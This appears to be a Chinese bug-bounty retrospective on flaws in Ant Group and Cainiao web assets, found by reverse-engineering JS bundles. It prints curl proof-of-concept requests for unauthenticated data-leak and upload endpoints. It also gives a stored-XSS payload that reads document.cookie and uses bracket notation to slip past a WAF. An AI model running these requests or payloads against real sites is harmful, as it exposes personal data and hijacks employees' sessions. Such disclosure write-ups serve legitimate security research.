web漏洞挖掘复盘,从大型的js逆向和多个js bundle的逆向过程
故事还要从半个月前的挖洞生活说起。
当时从师傅那里得到了他们团队内部的模型,啥也不说kuku开始日网站,挖了几个蚂蚁和阿里的,大部分都重复了,现在穷的买不起token了,让我们来复盘下。

先看蚂蚁重复的2个。这个应该是新出的资产,我只能说孩子,手放快吧。
第一个洞,
AFAC xxxxxx泄露专家与联系人信息
1 入口:app.example.com 前端 JS 逆向
AFAC 是蚂蚁集团"xxxxx大赛"官网。同样的手法:
import requests, re, urllib3
urllib3.disable_warnings()
html = requests.get("https://afac.example.com/", verify=False).text
js_urls = re.findall(r'src="([^"]+\.js[^"]*)"', html)
# 下载主 bundle
js = requests.get(js_urls[0], verify=False).text
2 关键发现:proxy 配置泄露后端
在 JS 中搜索 proxy 配置:
import re
for m in re.finditer(r'proxy[^}]{0,200}', js, re.I):
print(m.group(0))
输出:
proxy: {
'/api': {
target: 'https://api.example.com',
changeOrigin: true
}
}
结论:前端所有 /api/* 请求都会被代理到真实后端 api.example.com。
3 提取公开 API 端点
继续正则提取 /api/public/ 下的端点:
apis = set(re.findall(r'["\'](/api/public/[^"\']{5,100})["\']', js))
for a in sorted(apis):
print(a)
输出 6 个公开 API:
/api/public/case-library/list ← 案例库列表(含联系人)
/api/public/expert/list ← 专家列表(含手机号)
/api/public/...(其余4个)
4 参数构造与删减
这几个接口是 GET 请求,原本前端会带一些查询参数(分页、筛选等)。测试时发现:
| 操作 | 结果 |
|---|---|
| 带完整前端参数请求 | ✅ 返回数据 |
| 删掉所有查询参数(只留路径) | ✅ 仍返回全量数据 |
| 删掉 Cookie/Token | ✅ 仍返回数据(无鉴权) |
但必须保留两个 Header(否则被防盗链/跨域拦截):
-H "Origin: https://app.example.com"
-H "Referer: https://app.example.com/"
删减后最精简的 PoC:
curl -k "https://api.example.com/api/public/expert/list" \
-H "Origin: https://app.example.com" \
-H "Referer: https://app.example.com/"
5 数据验证
/api/public/expert/list 返回 134KB JSON,176 位专家信息:

/api/public/case-library/list 返回 20 条企业联系人(含真实手机号):

泄露统计:20 个真实手机号 + 176 位专家(含院士、蚂蚁高管)+ 5 个内部员工工号。
第二个洞
welfare-foundation 生产/预发未授权上传 + OSS AK 泄露
1.1 入口:从一个前端页面顺藤摸瓜
起点是 SRC 范围内的 portal.example.com("社会组织链上管理系统 / 外部专家平台")。
第一步:抓前端页面,找 JS 入口
curl -k "https://portal.example.com/" | grep -oE '(src|href)="[^"]+\.js[^"]*"'
页面是一个 SPA(单页应用),核心逻辑打包在多个 JS bundle 里,其中最大的约 5.6MB。
第二步:下载 JS 并做逆向分析
import requests, re, urllib3
urllib3.disable_warnings()
js = requests.get("https://cdn.example.com/.../main.xxx.js", verify=False).text
print(f"JS 大小: {len(js)/1024:.0f}KB")
# 用正则批量提取可疑接口路径
patterns = [
r'["\'](/noLogin/[^"\']{5,100})["\']', # 免登录接口
r'["\'](/file/[^"\']{5,100})["\']', # 文件相关
r'["\'](/upload[^"\']{5,100})["\']', # 上传相关
r'["\'](https?://[a-z0-9.-]+\.antgroup\.com[^"\']*)["\']', # 真实后端
]
从 5.6MB JS 中提取出的关键内容:
免登录接口路径:
/noLogin/file/upload.json
/noLogin/file/uploadForUrl.json
/noLogin/tr/invoke.json
真实后端地址(环境映射):
PROD: "https://welfare.example.net"
PRE : "https://welfare-pre.example.net"
关键发现:前端 JS 里硬编码了 PROD / PRE 两套后端地址,直接点破了生产环境和预发环境的真实域名。
1.2 接口参数还原(从 JS 里拼出请求体)
/noLogin/file/upload.json 这个路径本身只给了 URL,但没有给出参数名。继续在 JS 里搜索这个字符串的上下文:
idx = js.find('/noLogin/file/upload.json')
context = js[max(0, idx-500): idx+500]
print(context)
在上下文里发现上传函数构造 FormData 的方式:
// JS 中还原出的上传逻辑(简化)
function uploadFile(file) {
const formData = new FormData();
formData.append('file', file); // 文件本体,参数名 = file
formData.append('fileName', file.name); // 文件名,参数名 = fileName
formData.append('client', 'welfare_fxxxxx'); // 客户端标识
formData.append('tenant', 'ANT_GROUP'); // 租户
formData.append('generateSignUrl', 'true'); // 是否生成签名URL
return request.post('/noLogin/file/upload.json', formData, {
headers: { 'Client': 'welfare_fxxxxxx' } // 自定义 Header
});
}
同时发现一个 RPC 调用格式(用于其他接口):
{facadeName, methodName, tenant, requestData}
1.3 参数"增删"过程
第一次尝试:先按 JS 原样拼参数上传,成功。
测试参数删减:为了验证哪些参数是"必须的",逐项删除:
| 删除的参数 | 结果 | 说明 |
|---|---|---|
generateSignUrl |
⚠️ 仍成功,但响应里没有 url 字段 | 该参数控制是否返回 OSS 签名 URL,删掉就拿不到 AK |
tenant |
❌ 失败 / 报错 | 后端强依赖 tenant 路由,必须保留 |
client |
❌ 失败 | 后端按 client 定位业务,必须保留 |
fileName |
⚠️ 仍成功 | 但文件名会变成默认值 |
Header Client |
⚠️ 仍成功 | 但有它响应更完整 |
结论:file(文件)、tenant、client 是核心三参数;generateSignUrl=true 是拿到 AK 的关键开关。
1.4 最终 PoC(含参数拼接)
curl -k -X POST "https://welfare.example.net/noLogin/file/upload.json" \
-H "Client: welfare_fxxxxxx" \
-F "file=@poc.txt;type=text/plain" \
-F "fileName=poc.txt" \
-F "client=welfare_fxxxxxx" \
-F "tenant=ANT_GROUP" \
-F "generateSignUrl=true"
响应(关键字段):

三个收获:
- 未授权上传:全程无 Cookie/Token
- OSS AK 泄露:
OSSAccessKeyId=LTAI5tLRLxxxxxxxxxxxxxxx直接暴露在 URL 里 - 签名永不过期:
Expires=4093396846(2099 年)
1.5 预发环境同步验证
把域名换成 JS 里泄露的 PRE 地址,同样的参数直接打:
curl -k -X POST "https://welfare-pre.example.net/noLogin/file/upload.json" \
-H "Client: welfare_xxxxxxxxx" \
-F "file=@poc.txt" -F "fileName=poc.txt" \
-F "client=welfare_xxxxxxxx" -F "tenant=ANT_GROUP" -F "generateSignUrl=true"
1.6 附加发现:JS 中硬编码的第二个 AK
在 5.6MB JS 里搜 AccessKey / LTAI 关键词,又挖出一个硬编码 AK:

虽然对应的 Bucket 已下线,但证明前端 JS 存在硬编码 AK 的安全问题。
下面看第三个洞
供应商门户 supplier-workbench 存储型 XSS(WAF 绕过)
这是三个漏洞中链路最长、技术含量最高的一个。
3.1 入口:supplier.example.net 前端 JS(7094KB)
起点是 SRC 范围内的 supplier.example.net(蚂蚁供应商管理平台)。
html = requests.get("https://supplier.example.net/", verify=False).text
# 发现 umi.js 高达 7094KB
3.2 关键发现:proxyServiceRoot 泄露内网网关
在 7094KB 的 umi.js 中搜索后端配置:
for m in re.finditer(r'proxyServiceRoot["\']?\s*[:=]\s*["\']([^"\']+)', js):
print(m.group(1))
输出:
https://webgw.internal.example/pursupplierplatform ← 生产网关
https://webgw-pre.internal.example/pursupplierplatform ← 预发网关
重要:internal.example 是蚂蚁集团内网域名!JS 泄露了内网网关地址。
3.3 顺藤摸瓜:发现公网可达的内网系统
继续搜索 JS 里的域名,发现:
supplier.internal.example ← 供应商门户(内网系统)
srm.example.org ← 采购管理 SRM
vendor.example.org ← 供应商后端
逐个 DNS 解析 + HTTP 探测,发现 supplier.example.org 竟然公网可达(IP 59.82.60.xx),页面标题"蚂蚁采购-供应商平台"。
3.4 认证绕过:LoginFilter 白名单
未登录直接访问时,大部分路径会 302 跳转到 sso.internal.example(阿里内网 SSO)。但通过 fuzz 发现一组白名单路径不需要登录:
/supplier/pub/* ← 供应商公开页
/rock/upload/* ← 上传接口(重点!)
验证:POST /rock/upload/upload.xhtml 不带任何 Cookie,直接返回上传成功。
3.5 上传接口参数还原与删减
JS 中还原的上传参数(完整版):
// 前端上传组件原本会带一堆参数
formData.append('fileInput', file); // 文件,参数名 = fileInput
formData.append('businessType', 'ELBRUS'); // 业务类型
formData.append('bizId', 'xxx'); // 业务 ID
formData.append('storageType', 'OSS'); // 存储类型
// ... 以及 CSRF token 等
参数删减测试:
| 操作 | 结果 |
|---|---|
| 带全参数上传 | ✅ 成功 |
只留 fileInput(删掉 businessType/bizId/storageType/token 等一切) |
✅ 仍然成功 |
最精简 PoC:
curl -k -X POST "https://supplier.internal.example/rock/upload/upload.xhtml" \
-F "fileInput=@test.txt;type=text/plain"
响应:
{
"success": true,
"content": {
"id": 20220xxxxxxxxxx,
"resourceId": "e45358bdc8caxxxxxxxxxxxxxxx",
"storageType": "OSS",
"fileName": "poc_verify.txt"
}
}
关键结论:上传接口只认 fileInput 一个参数,其余全部可删,且全程无鉴权。
3.6 HTML 上传 + WAF 绕过
上传接口支持 .html 格式,但直接上传 <script>alert(1)</script> 会被 X5Filter WAF 拦截(返回 500)。
WAF 绕过思路:X5Filter 用正则匹配危险函数调用,但没覆盖 JS 的方括号记法(bracket notation)。
JS 语法等价性:
alert(1) // 点号调用 —— WAF 拦截
window.alert(1) // 点号调用 —— WAF 拦截
window["alert"](1) // 方括号调用 —— WAF 放行!等价于上面
top["al"+"ert"](1) // 字符串拼接混淆 —— WAF 放行!等价于上面
最终绕过 PoC(自动触发):
<html><body>
<img src=x onerror=top["al"+"ert"]("XSS_on_"+document.domain+"_cookie:"+document.cookie)>
</body></html>
上传成功(id=20220xxxxxxxxx),认证用户打开下载链接即自动弹窗显示 domain + cookie。
3.7 下载端点还原
从 JS 中提取下载 URL 拼接规则:
# umi.js 中发现的下载前缀
Gc = "/elbrus/fileupload/download?fixateEncrypt=true&resourceId="
对应完整下载链路:
https://supplier.internal.example/rock/download/download.xhtml?resourceId={id}
https://vendor.example.org/elbrus/fileupload/download?fixateEncrypt=true&resourceId={id}
下载需 mozi-login SSO(内网账号)认证 —— 这正是存储型 XSS 的目标场景:攻击内部员工。
后面搞了个内部账号,可是这个有个问题啊,就是下载后是显示500错误,后端是java,并且被拦截了。
下面来复盘一下菜鸟的漏洞
菜鸟供应商平台的公告列表接口 /cp/cplm/bulletinInfo/listBulletinInfoPage 返回了过多的内部敏感信息。普通供应商账号可获取共 597 条采购公告。
一、登录态获取
使用菜鸟供应商平台注册账号(账号A)登录 cp.example.org。通过浏览器开发者工具抓取登录后的请求,提取以下认证凭据:
请求必须携带 X-XSRF-TOKEN 请求头(值等于 Cookie 中 XSRF-TOKEN),否则接口拒绝访问。
二、JS 逆向发现接口
2.1 定位核心业务 JS
cp.example.org 是 React 单页应用(SPA),HTML 仅加载框架代码,业务逻辑在 CDN 上的 app.js 中。通过分析页面加载的 script 标签,定位到核心业务 JS:
https://cdn.example.com/xxxxxx/cn-cprm-cp-react/3.0.871/js/xxxx.js
2.2 提取 API 路径映射
下载 xxxx.js 后,用正则表达式提取其中的 API 路径字符串,发现多个 API 路由映射对象。其中关键对象 cpPortalSite 定义了门户所有接口的路径常量:

另一处模块中还发现同接口的别名定义:

三、分析调用方式(确定 HTTP 方法与参数格式)
3.1 定位调用封装函数
在 xxxx.js 中搜索 getBulletinInfoList 的引用,

3.2 关键发现:参数编码方式差异
同一文件中,招标接口 getTenderPageList 的调用方式与公告接口不同:
// 公告接口 —— 直接传 JSON 对象
data: t
// 招标接口 —— 需要 jsonParam= 前缀 + URL 编码
data: "jsonParam=" + window.encodeURIComponent(JSON.stringify(t))
这个对比说明:
- 公告接口:
Content-Type: application/json,body 为原始 JSON 对象 - 招标接口:body 为
jsonParam=<urlencoded>格式的字符串
这一差异解释了为什么部分接口用标准 JSON 能通、部分接口必须用jsonParam包装。公告接口属于前者。
四、构造请求参数
1 参数确定过程(重要说明)
JS 中只提供了三件事:接口路径、method:"POST"、data: t(原始 JSON 对象,非 jsonParam 包装)。压缩混淆后的 JS 并未硬编码pageNo/pageSize这两个参数名(全文件检索 pageNo=0 次,pageSize 仅 1 次且为 UI 文案)。
参数名通过两步确定: - 经验候选:后端分页接口常见命名组合,按优先级尝试
pageNo/pageSize、pageNum/pageSize、current/size、offset/limit等 - 实测回显确认:发送请求后观察参数是否生效——
pageSize=5/20/100分别返回 5/20/100 条,证明pageSize参数名正确且生效;删除pageNo仍返回数据,证明其非必填
最终确定有效请求体:
{"pageNo": 1, "pageSize": 20}
2 构造完整请求
![PixPin_2026-10-13_19-57-40]()
3 首次响应
返回 HTTP 200,响应体 91,021 字节(91KB),success: true,包含 20 条公告记录,totalItems: 505。
五、参数边界测试(删除/调整参数)
为验证参数必要性及接口的数据暴露范围,进行参数边界测试:
关键结论:
- 接口无需任何参数即可返回数据(空 body 返回默认 10 条)
- pageSize 最大可到 100,单次可拉取 100 条(433KB)
- pageNo 参数完全失效——无论传 1、2 还是 30,都返回相同的第一批数据(首条 id 恒为 9044),推测服务端未实现分页逻辑或 pageNo 被忽略,这本身也是功能缺陷
六、敏感数据字段分析
拉取 100 条公告后,逐字段分析,发现每条公告包含远超业务所需的内部敏感信息:
1 内部员工工号(gmtCreator / gmtModifier / delayAudit.creator)
100 条公告共泄露 29 个菜鸟内部员工唯一工号,可反推员工数量和组织规模:
2 完整组织架构树(departmentName / departmentNo)
3 内部 OA 审批链接(auditUrl + processInstanceId)
100 条公告泄露 100 个内部 OA 审批流程实例 ID 和对应链接:
auditUrl: "https://oa.internal.example/manage/xxxxxxxxx?processInstanceId=919102723016572"
processInstanceId: "919102xxxxxxxxxxxx"
这些 processInstanceId 是菜鸟内部 OA 系统的流程实例唯一标识,格式为递增的 17 位数字,可被用于:
• 枚举内部 OA 流程
• 探测 oa.internal.example 内部系统
4 内部项目编号(projectCode)
泄露 24 个内部项目编号,如:
CN2026627803 CN2026620602 CN2026618601
5 公告正文中的联系方式(content / remark / contactInfo)
公告正文 content 字段包含菜鸟内部员工的手机号和邮箱:
泄露的手机号(7 个):

泄露的菜鸟内部员工邮箱(7 个,@example.org 域名):


浙公网安备 33010602011771号